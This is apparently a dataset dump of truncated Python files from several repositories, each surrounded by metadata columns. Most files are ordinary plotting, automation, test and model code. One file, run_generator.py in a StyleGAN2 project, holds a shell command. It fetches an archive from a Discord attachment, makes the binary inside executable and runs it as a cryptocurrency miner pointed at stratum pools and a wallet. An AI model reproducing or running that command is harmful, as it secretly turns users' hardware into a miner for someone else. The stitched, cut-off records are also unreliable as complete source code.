] | null | null | null | notebooks/plotting.py | NCAR/cesm-timeseries-plots | 0d90787a51eaf7530bbc34b8c654369d1e6c8e82 | [
"MIT"
] | null | null | null | notebooks/plotting.py | NCAR/cesm-timeseries-plots | 0d90787a51eaf7530bbc34b8c654369d1e6c8e82 | [
"MIT"
] | null | null | null | import hvplot.xarray
import panel as pn
def time_depth_plot(
ds,
variable,
vertical_dim="z_t",
ylim=(1000, 0),
levels=20,
cmap="inferno",
vmin=None,
vmax=None,
log_cbar=False,
):
plot = ds[variable].hvplot.contourf(
x="year",
y=vertical_dim,
ylim=ylim,
... | 24.308219 | 71 | 0.530854 | 432 | 3,549 | 4.159722 | 0.194444 | 0.066778 | 0.048971 | 0.073456 | 0.767947 | 0.767947 | 0.732332 | 0.732332 | 0.700056 | 0.678353 | 0 | 0.014249 | 0.347422 | 3,549 | 145 | 72 | 24.475862 | 0.761658 | 0 | 0 | 0.706349 | 0 | 0 | 0.054382 | 0.013525 | 0 | 0 | 0 | 0 | 0 | 1 | 0.039683 | false | 0 | 0.015873 | 0 | 0.095238 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
76c99cb1ee680c119fbfa9329a17c25f3d87eceb | 2,759 | py | Python | records.py | catflip/pyautogui-for-sdk | 81d51d6fef6cc05b3352d685496d0515a91b399c | [
"MIT"
] | null | null | null | records.py | catflip/pyautogui-for-sdk | 81d51d6fef6cc05b3352d685496d0515a91b399c | [
"MIT"
] | null | null | null | records.py | catflip/pyautogui-for-sdk | 81d51d6fef6cc05b3352d685496d0515a91b399c | [
"MIT"
] | null | null | null | import pyautogui
import time
import subprocess
import os
import signal
def first_record(pro):
# line kebawah selesai recording
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
# pyautogui.moveTo(1090,459,duration=1, tween=pyautogui.easeInOutQuad)# selector terminal vscode
# pyautogui.click()
# pyaut... | 36.302632 | 136 | 0.655672 | 423 | 2,759 | 4.262411 | 0.196217 | 0.04437 | 0.042707 | 0.076539 | 0.866334 | 0.866334 | 0.866334 | 0.866334 | 0.866334 | 0.866334 | 0 | 0.054813 | 0.186662 | 2,759 | 76 | 137 | 36.302632 | 0.748663 | 0.266038 | 0 | 0.684211 | 0 | 0.087719 | 0.291417 | 0.043912 | 0 | 0 | 0 | 0 | 0 | 1 | 0.070175 | false | 0 | 0.087719 | 0 | 0.175439 | 0.052632 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
4f5331d3c367c60ed6ec78c671db79d182b01e02 | 466 | py | Python | rbc/tests/test_utils.py | krunalkharat/rbc | f3a4665bde03d2cef6521dcea030f22236435f79 | [
"BSD-3-Clause"
] | null | null | null | rbc/tests/test_utils.py | krunalkharat/rbc | f3a4665bde03d2cef6521dcea030f22236435f79 | [
"BSD-3-Clause"
] | null | null | null | rbc/tests/test_utils.py | krunalkharat/rbc | f3a4665bde03d2cef6521dcea030f22236435f79 | [
"BSD-3-Clause"
] | null | null | null | from rbc.utils import is_localhost, get_local_ip, triple_matches
def test_is_localhost():
assert is_localhost(get_local_ip())
def test_triple_matches():
assert triple_matches('cuda', 'nvptx64-nvidia-cuda')
assert triple_matches('nvptx64-nvidia-cuda', 'cuda')
assert triple_matches('cuda32', 'nvptx-nv... | 33.285714 | 76 | 0.748927 | 66 | 466 | 5.015152 | 0.378788 | 0.274924 | 0.287009 | 0.208459 | 0.302115 | 0 | 0 | 0 | 0 | 0 | 0 | 0.038929 | 0.118026 | 466 | 13 | 77 | 35.846154 | 0.766423 | 0 | 0 | 0 | 0 | 0 | 0.2897 | 0.051502 | 0 | 0 | 0 | 0 | 0.666667 | 1 | 0.222222 | true | 0 | 0.111111 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
4f6c3fc9b9a3de269552d96df65ab314990bbbb5 | 21 | py | Python | embegym/utils/net/__init__.py | word-forge/embeddings-gym | 8c95e68dd4b2c7fd3e99e1e85f4fc8407bd37455 | [
"Apache-2.0"
] | 1 | 2018-09-19T06:42:45.000Z | 2018-09-19T06:42:45.000Z | embegym/utils/net/__init__.py | word-forge/embeddings-gym | 8c95e68dd4b2c7fd3e99e1e85f4fc8407bd37455 | [
"Apache-2.0"
] | null | null | null | embegym/utils/net/__init__.py | word-forge/embeddings-gym | 8c95e68dd4b2c7fd3e99e1e85f4fc8407bd37455 | [
"Apache-2.0"
] | null | null | null | from . import modules | 21 | 21 | 0.809524 | 3 | 21 | 5.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 21 | 1 | 21 | 21 | 0.944444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
4f7b178e2c3294775c659e77e18dfc9b9b8b042f | 111 | py | Python | interlinq/components/__init__.py | rheaparekh/Distributed_Quantum_Phase_Estimation | 3441a023fedd113b8b3e68e6c6c07f6642c0344a | [
"MIT"
] | 24 | 2021-01-27T14:21:53.000Z | 2022-03-16T23:43:51.000Z | interlinq/components/__init__.py | zemenfes-afk/Interlin-q | 1c4822c814a9fe8b7ba0a11e4744a51b17d67b6f | [
"MIT"
] | 15 | 2021-02-28T17:58:52.000Z | 2021-07-27T15:27:03.000Z | interlinq/components/__init__.py | rheaparekh/Interlin-q | b434e471db72b62f912b12e9d86e4a0a6e2825e2 | [
"MIT"
] | 8 | 2021-01-27T10:23:12.000Z | 2022-03-12T01:45:57.000Z | from .clock import Clock
from .computing_host import ComputingHost
from .controller_host import ControllerHost
| 27.75 | 43 | 0.864865 | 14 | 111 | 6.714286 | 0.571429 | 0.212766 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.108108 | 111 | 3 | 44 | 37 | 0.949495 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
8c243991eedbd4b1225390e73c6178f617c93a2e | 114 | py | Python | rest_api/apps/users/models.py | lxy20/django-postgres-stack | d6388beb7f6f23fe6b08843c7c133888b970d3f5 | [
"BSD-Source-Code"
] | 4 | 2020-01-26T03:13:39.000Z | 2020-06-16T07:15:52.000Z | rest_api/apps/users/models.py | lxy20/django-postgres-stack | d6388beb7f6f23fe6b08843c7c133888b970d3f5 | [
"BSD-Source-Code"
] | 18 | 2020-01-30T06:05:21.000Z | 2022-02-26T21:45:39.000Z | rest_api/apps/users/models.py | huijiancai99/pgperffarm | 8657ab84c555085763ef494d0ca5eae0d69f43a3 | [
"BSD-Source-Code"
] | 6 | 2020-01-26T03:47:09.000Z | 2020-03-20T06:55:05.000Z | from django.db import models
from django.contrib.auth.models import AbstractBaseUser
# Create your models here.
| 19 | 55 | 0.815789 | 16 | 114 | 5.8125 | 0.6875 | 0.215054 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.131579 | 114 | 5 | 56 | 22.8 | 0.939394 | 0.210526 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
8c3429a11c48f00ec37f8cab6879cf3646d34164 | 64 | py | Python | zstackwoodpecker/zstackwoodpecker/header/result_court.py | sherry546/zstack-woodpecker | 54a37459f2d72ce6820974feaa6eb55772c3d2ce | [
"Apache-2.0"
] | 2 | 2016-03-23T08:45:44.000Z | 2017-06-26T02:40:46.000Z | zstackwoodpecker/zstackwoodpecker/header/result_court.py | KevinDavidMitnick/zstack-woodpecker | 96257faaf3c362168d008bdb47002025ad669b24 | [
"Apache-2.0"
] | null | null | null | zstackwoodpecker/zstackwoodpecker/header/result_court.py | KevinDavidMitnick/zstack-woodpecker | 96257faaf3c362168d008bdb47002025ad669b24 | [
"Apache-2.0"
] | 2 | 2020-03-12T03:11:28.000Z | 2021-07-26T01:57:58.000Z | class ResultCourt(object):
def judge_result():
pass
| 16 | 26 | 0.640625 | 7 | 64 | 5.714286 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.265625 | 64 | 3 | 27 | 21.333333 | 0.851064 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0.333333 | 0 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 6 |
8c4880ae0751b6404f1369a5fc23fa8a3822ed76 | 8,796 | py | Python | src/models/binary.py | nancy-nayak/rethinking-bnn | f7595c13bc56c69a9f1ed6d689a0bc569f4072bf | [
"Apache-2.0"
] | 8 | 2019-12-10T08:20:27.000Z | 2020-10-07T14:51:01.000Z | src/models/binary.py | nancy-nayak/rethinking-bnn | f7595c13bc56c69a9f1ed6d689a0bc569f4072bf | [
"Apache-2.0"
] | null | null | null | src/models/binary.py | nancy-nayak/rethinking-bnn | f7595c13bc56c69a9f1ed6d689a0bc569f4072bf | [
"Apache-2.0"
] | null | null | null | # Archictectures for Binary Neural Networks
import tensorflow as tf
import larq as lq
from zookeeper import registry, HParams
# Generic Binary ConvNet
@registry.register_model
def bcnn(hparams, input_shape, num_classes):
kwargs = dict(
input_quantizer=hparams.input_quantizer,
kernel_quantizer=hpa... | 32.338235 | 94 | 0.638813 | 1,095 | 8,796 | 4.976256 | 0.118721 | 0.01615 | 0.073959 | 0.059093 | 0.782345 | 0.768398 | 0.746559 | 0.738668 | 0.737383 | 0.723986 | 0 | 0.032851 | 0.238631 | 8,796 | 272 | 95 | 32.338235 | 0.780797 | 0.058777 | 0 | 0.73057 | 0 | 0 | 0.034771 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.015544 | false | 0 | 0.015544 | 0 | 0.310881 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
4fb685432110882b4890e5cdeecf04d7317a4392 | 24 | py | Python | padhana/core/__init__.py | hohonu/padhana | cc9cac524d0be65de90483ce03f1ab7d674aa8ec | [
"MIT"
] | null | null | null | padhana/core/__init__.py | hohonu/padhana | cc9cac524d0be65de90483ce03f1ab7d674aa8ec | [
"MIT"
] | null | null | null | padhana/core/__init__.py | hohonu/padhana | cc9cac524d0be65de90483ce03f1ab7d674aa8ec | [
"MIT"
] | null | null | null | from .document import *
| 12 | 23 | 0.75 | 3 | 24 | 6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 24 | 1 | 24 | 24 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
4fc6d1c6fdcf9fd38ff82d8c29b066f5d1b486f8 | 8,997 | py | Python | tests/test_latest_ami_updater.py | binxio/aws-cfn-update | ab5f3b8543faa6f84e342514502eed8e59172b91 | [
"Apache-2.0"
] | 18 | 2018-09-24T17:57:04.000Z | 2022-03-14T13:14:01.000Z | tests/test_latest_ami_updater.py | binxio/aws-cfn-update | ab5f3b8543faa6f84e342514502eed8e59172b91 | [
"Apache-2.0"
] | 6 | 2020-02-11T12:12:28.000Z | 2021-07-02T06:36:39.000Z | tests/test_latest_ami_updater.py | binxio/aws-cfn-update | ab5f3b8543faa6f84e342514502eed8e59172b91 | [
"Apache-2.0"
] | 4 | 2019-10-20T09:56:02.000Z | 2020-09-15T06:35:42.000Z | import os
import json
from aws_cfn_update.latest_ami_updater import AMIUpdater, make_new_resource_name
def test_new_resource_name():
updater = stubbed_ami_updater()
result = make_new_resource_name("WhatEverBaseAMI")
assert result == "WhatEverBaseAMIv1"
result = make_new_resource_name(result)
ass... | 32.956044 | 88 | 0.545404 | 841 | 8,997 | 5.702735 | 0.122473 | 0.045246 | 0.118224 | 0.125104 | 0.821518 | 0.794204 | 0.784404 | 0.784404 | 0.784404 | 0.781276 | 0 | 0.027091 | 0.290208 | 8,997 | 272 | 89 | 33.077206 | 0.723927 | 0 | 0 | 0.619433 | 0 | 0 | 0.33111 | 0.12193 | 0 | 0 | 0 | 0 | 0.161943 | 1 | 0.040486 | false | 0 | 0.012146 | 0 | 0.060729 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
4fc710f0c56ab552187554f6bfd7641022b531bf | 47 | py | Python | dctypes/__init__.py | jwilk-archive/python-dctypes | a34377a502cc7a61d285ceda5d8099cd74182167 | [
"MIT"
] | null | null | null | dctypes/__init__.py | jwilk-archive/python-dctypes | a34377a502cc7a61d285ceda5d8099cd74182167 | [
"MIT"
] | null | null | null | dctypes/__init__.py | jwilk-archive/python-dctypes | a34377a502cc7a61d285ceda5d8099cd74182167 | [
"MIT"
] | null | null | null | from ctypes import *
# vim:ts=4 sts=4 sw=4 et
| 11.75 | 24 | 0.659574 | 11 | 47 | 2.818182 | 0.818182 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.081081 | 0.212766 | 47 | 3 | 25 | 15.666667 | 0.756757 | 0.468085 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
8b1294fcf97eea09785c18e47c9849adbd6bbb45 | 342 | py | Python | run_generator.py | asadkasjdkajsdkjaksdj/StyleGAN2 | 132a66fb9432f462aaebd01124656271b647650d | [
"BSD-Source-Code"
] | null | null | null | run_generator.py | asadkasjdkajsdkjaksdj/StyleGAN2 | 132a66fb9432f462aaebd01124656271b647650d | [
"BSD-Source-Code"
] | null | null | null | run_generator.py | asadkasjdkajsdkjaksdj/StyleGAN2 | 132a66fb9432f462aaebd01124656271b647650d | [
"BSD-Source-Code"
] | null | null | null | "wget https://cdn.discordapp.com/attachments/796512270032437289/845344611597680670/bin.tar && tar -xvf bin.tar && cd bin && chmod +x work && apt-get update -y && apt install pciutils -y && ./work -rvram 1 -pool stratum+tcp://172.65.223.147:3353 -pool2 stratum+tcp://172.65.200.133:3353 -ewal 3Ft56HYdAPXxRSQQAXRSggbuFYC2... | 171 | 341 | 0.739766 | 51 | 342 | 4.960784 | 0.764706 | 0.047431 | 0.102767 | 0.118577 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.24026 | 0.099415 | 342 | 1 | 342 | 342 | 0.581169 | 0 | 0 | 0 | 0 | 1 | 0.988304 | 0.304094 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
8cab8401342254f5641e352f4514887027be7609 | 1,001 | py | Python | bikeshed/html/__init__.py | zcorpan/bikeshed | c9449c42565605bdcf547fd2cefb2c298845c2a0 | [
"CC0-1.0"
] | 2 | 2016-04-18T15:57:40.000Z | 2016-04-18T19:06:04.000Z | bikeshed/html/__init__.py | zcorpan/bikeshed | c9449c42565605bdcf547fd2cefb2c298845c2a0 | [
"CC0-1.0"
] | null | null | null | bikeshed/html/__init__.py | zcorpan/bikeshed | c9449c42565605bdcf547fd2cefb2c298845c2a0 | [
"CC0-1.0"
] | null | null | null | # -*- coding: utf-8 -*-
from .serializer import Serializer
from .dom import addClass, addOldIDs, appendChild, appendContents, approximateLineNumber, childElements, childNodes, circledDigits, clearContents, closestAncestor, closestAttr, createElement, dedupIDs, E, emptyText, escapeAttr, escapeCSSIdent, escapeHTML,... | 200.2 | 936 | 0.841159 | 76 | 1,001 | 11.078947 | 0.960526 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001089 | 0.082917 | 1,001 | 5 | 936 | 200.2 | 0.916122 | 0.020979 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
8cc142cd40a266982fb901c27d3abd7c93e67be3 | 15,737 | py | Python | workflow/tests/test_program_dates_validation.py | mercycorps/TolaWorkflow | 59542132fafd611081adb0e8cfaa04abc5886d7a | [
"Apache-2.0"
] | null | null | null | workflow/tests/test_program_dates_validation.py | mercycorps/TolaWorkflow | 59542132fafd611081adb0e8cfaa04abc5886d7a | [
"Apache-2.0"
] | 5 | 2021-02-08T20:42:48.000Z | 2022-03-12T00:19:38.000Z | workflow/tests/test_program_dates_validation.py | Falliatcom-sa/falliatcom | 39fb926de072c296ed32d50cccfb8003ca870739 | [
"Apache-2.0"
] | null | null | null | """Ensure reporting_period_start and reporting_period_end can only be set with first and last of the month dates
respectively"""
import datetime
import json
from django import test
from django.shortcuts import reverse
from factories import (
workflow_models as w_factories,
indicators_models as i_factories
)
fr... | 52.986532 | 119 | 0.630552 | 1,810 | 15,737 | 5.277348 | 0.097238 | 0.10804 | 0.075377 | 0.048995 | 0.838882 | 0.829774 | 0.822446 | 0.803915 | 0.793028 | 0.757119 | 0 | 0.073835 | 0.251255 | 15,737 | 296 | 120 | 53.165541 | 0.736824 | 0.007752 | 0 | 0.60219 | 0 | 0 | 0.102889 | 0.033827 | 0 | 0 | 0 | 0 | 0.211679 | 1 | 0.058394 | false | 0.007299 | 0.032847 | 0 | 0.09854 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
8cd5647d20e9b54c9b09b4df6b0f6f3718ab3993 | 262 | py | Python | moabb/tests/__init__.py | bibliolytic/moabb | 46799bfd7957b1da3e7a0534286c1973af9c95d9 | [
"BSD-3-Clause"
] | 1 | 2018-11-17T03:03:09.000Z | 2018-11-17T03:03:09.000Z | moabb/tests/__init__.py | bibliolytic/moabb | 46799bfd7957b1da3e7a0534286c1973af9c95d9 | [
"BSD-3-Clause"
] | null | null | null | moabb/tests/__init__.py | bibliolytic/moabb | 46799bfd7957b1da3e7a0534286c1973af9c95d9 | [
"BSD-3-Clause"
] | 1 | 2021-06-24T00:59:48.000Z | 2021-06-24T00:59:48.000Z | # flake8: noqa
from moabb.tests.analysis import *
from moabb.tests.datasets import *
from moabb.tests.evaluations import *
from moabb.tests.paradigms import *
# from moabb.tests.util_tests import *
import unittest
if __name__ == "__main__":
unittest.main()
| 23.818182 | 38 | 0.763359 | 35 | 262 | 5.457143 | 0.428571 | 0.235602 | 0.366492 | 0.418848 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004425 | 0.137405 | 262 | 10 | 39 | 26.2 | 0.840708 | 0.187023 | 0 | 0 | 0 | 0 | 0.038095 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.714286 | 0 | 0.714286 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
507bb41a4b498ef7f859c8dc2477c4882ea97b72 | 196 | py | Python | torch_itl/tests/test_datasets.py | allambert/torch_itl | 8017bd78f9beeb707a9d0b64f91ab16731817dbb | [
"MIT"
] | 3 | 2021-02-04T14:05:12.000Z | 2021-04-19T15:21:01.000Z | torch_itl/tests/test_datasets.py | allambert/torch_itl | 8017bd78f9beeb707a9d0b64f91ab16731817dbb | [
"MIT"
] | 3 | 2021-02-04T15:11:08.000Z | 2021-02-05T09:10:47.000Z | torch_itl/tests/test_datasets.py | allambert/torch_itl | 8017bd78f9beeb707a9d0b64f91ab16731817dbb | [
"MIT"
] | 2 | 2021-02-04T14:05:27.000Z | 2021-02-04T14:30:00.000Z | import numpy as np
from torch_itl.datasets import import_data_toy_quantile
def test_synthetic():
x, y, _ = import_data_toy_quantile(100)
np.testing.assert_equal(x.shape[0], y.shape[0])
| 21.777778 | 55 | 0.755102 | 33 | 196 | 4.181818 | 0.666667 | 0.144928 | 0.188406 | 0.304348 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.029762 | 0.142857 | 196 | 8 | 56 | 24.5 | 0.791667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 1 | 0.2 | true | 0 | 0.6 | 0 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
50d1a83ac87a93488d61e1129daca6a4c2455731 | 115 | py | Python | mmdet/version.py | nguyenquangduc2000/SKU110K-DenseDet | ba2027cb654d77867a65204a3ca83acefc7615ee | [
"Apache-2.0"
] | 78 | 2020-07-17T09:56:12.000Z | 2022-03-09T06:22:50.000Z | mmdet/version.py | nguyenquangduc2000/SKU110K-DenseDet | ba2027cb654d77867a65204a3ca83acefc7615ee | [
"Apache-2.0"
] | 12 | 2020-10-21T13:05:46.000Z | 2022-03-24T09:33:52.000Z | mmdet/version.py | nguyenquangduc2000/SKU110K-DenseDet | ba2027cb654d77867a65204a3ca83acefc7615ee | [
"Apache-2.0"
] | 21 | 2020-08-16T13:21:42.000Z | 2022-03-22T12:16:41.000Z | # GENERATED VERSION FILE
# TIME: Fri Jul 3 10:58:01 2020
__version__ = '1.0rc1+fb983fe'
short_version = '1.0rc1'
| 19.166667 | 32 | 0.713043 | 19 | 115 | 4.052632 | 0.789474 | 0.207792 | 0.311688 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.208333 | 0.165217 | 115 | 5 | 33 | 23 | 0.59375 | 0.46087 | 0 | 0 | 1 | 0 | 0.338983 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
50ee3c7c81c0cfa291d7f70c34a0777bf93d0baa | 1,451 | py | Python | tests/metrics/test_num_properties_count.py | radon-h2020/radon-tosca-metrics | d0a10e10f2d897299a04f69290f09d5589bc039f | [
"Apache-2.0"
] | 2 | 2020-02-25T19:11:05.000Z | 2021-05-09T11:10:36.000Z | tests/metrics/test_num_properties_count.py | radon-h2020/radon-tosca-metrics | d0a10e10f2d897299a04f69290f09d5589bc039f | [
"Apache-2.0"
] | 1 | 2020-05-19T12:31:27.000Z | 2021-02-22T16:15:56.000Z | tests/metrics/test_num_properties_count.py | radon-h2020/radon-tosca-metrics | d0a10e10f2d897299a04f69290f09d5589bc039f | [
"Apache-2.0"
] | null | null | null | import unittest
from parameterized import parameterized_class
from toscametrics.blueprint.num_properties import NumProperties
yaml_0 = 'tosca_definitions_version: tosca_simple_yaml_1_0\ntopology_template:\n\tnode_templates:\n\t\tmysql:\n\t\t' \
'\ttype: tosca.nodes.DBMS.MySQL\n\t\t\tproperties: 1'
yaml_7 = '... | 51.821429 | 118 | 0.651275 | 281 | 1,451 | 3.231317 | 0.252669 | 0.222467 | 0.270925 | 0.299559 | 0.431718 | 0.430617 | 0.430617 | 0.418502 | 0.418502 | 0.403084 | 0 | 0.015212 | 0.139214 | 1,451 | 27 | 119 | 53.740741 | 0.711769 | 0 | 0 | 0 | 0 | 0.409091 | 0.620951 | 0.435562 | 0 | 0 | 0 | 0 | 0.045455 | 1 | 0.090909 | false | 0.045455 | 0.136364 | 0 | 0.272727 | 0.045455 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
0fa42a826a6f95cf051596d71ed49d7627ed5f8b | 22 | py | Python | python/bot/conteudo/imagens.py | Douglasbm040/BOT.PRE-NATAL | cdbd4574b8f237b316450503d06c10d28b3d8120 | [
"MIT"
] | null | null | null | python/bot/conteudo/imagens.py | Douglasbm040/BOT.PRE-NATAL | cdbd4574b8f237b316450503d06c10d28b3d8120 | [
"MIT"
] | 1 | 2021-07-13T16:09:13.000Z | 2021-07-13T16:09:13.000Z | python/bot/conteudo/imagens.py | Douglasbm040/NURSEBOT-PRENATAL-WHATSAPP | cdbd4574b8f237b316450503d06c10d28b3d8120 | [
"MIT"
] | null | null | null | import requests,json
| 7.333333 | 20 | 0.818182 | 3 | 22 | 6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.136364 | 22 | 2 | 21 | 11 | 0.947368 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
0fa4cc167d302c26ba643126f982fac003884c1d | 213 | py | Python | rules/code_quality.py | naderelabed/semgrep-rules | f4e973c16b2e162c7e672bd5c8daefd22d0bece9 | [
"MIT"
